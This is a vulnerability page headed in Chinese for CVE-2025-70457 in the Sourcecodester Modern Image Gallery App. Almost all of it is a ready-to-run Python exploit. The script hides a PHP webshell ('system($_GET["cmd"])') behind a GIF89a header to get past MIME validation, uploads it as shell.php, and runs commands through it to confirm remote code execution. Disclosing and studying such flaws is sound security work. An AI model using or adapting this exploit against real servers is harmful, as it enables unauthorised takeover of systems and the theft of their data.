CVE-2025-70457: Sourcecodester Modern Image Gallery App 远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-70457 PoC - Sourcecodester Modern Image Gallery App RCE Author: Security Researcher Description: Upload malicious PHP file disguised as image to achieve RCE """ import requests import sys TARGET_URL = "http://target-site.com" # Replace with target URL UPLOAD_ENDPOINT = f"{TARGET_URL}/gallery/upload.php" GALLERY_PATH = "/gallery/" def create_malicious_file(): """Create a PHP webshell with image header to bypass MIME check""" # GIF89a header to bypass MIME type validation image_header = b'GIF89a;\n' # PHP webshell for command execution php_payload = b'<?php system($_GET["cmd"]); ?>' return image_header + php_payload def exploit_cve_2025_70457(): """Exploit the file upload vulnerability to achieve RCE""" files = { 'image': ('shell.php', create_malicious_file(), 'image/gif') } print("[*] CVE-2025-70457 Exploitation") print(f"[*] Target: {TARGET_URL}") print("[*] Uploading malicious PHP file...") try: response = requests.post(UPLOAD_ENDPOINT, files=files, timeout=10) if response.status_code == 200: # Attempt to access uploaded shell shell_url = f"{TARGET_URL}{GALLERY_PATH}shell.php" print(f"[+] File uploaded successfully!") print(f"[+] Webshell URL: {shell_url}") print(f"[*] Example command: {shell_url}?cmd=whoami") # Verify exploitation verify = requests.get(f"{shell_url}?cmd=echo+vulnerable", timeout=10) if 'vulnerable' in verify.text: print("[+] RCE Confirmed! Server is vulnerable.") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit_cve_2025_70457()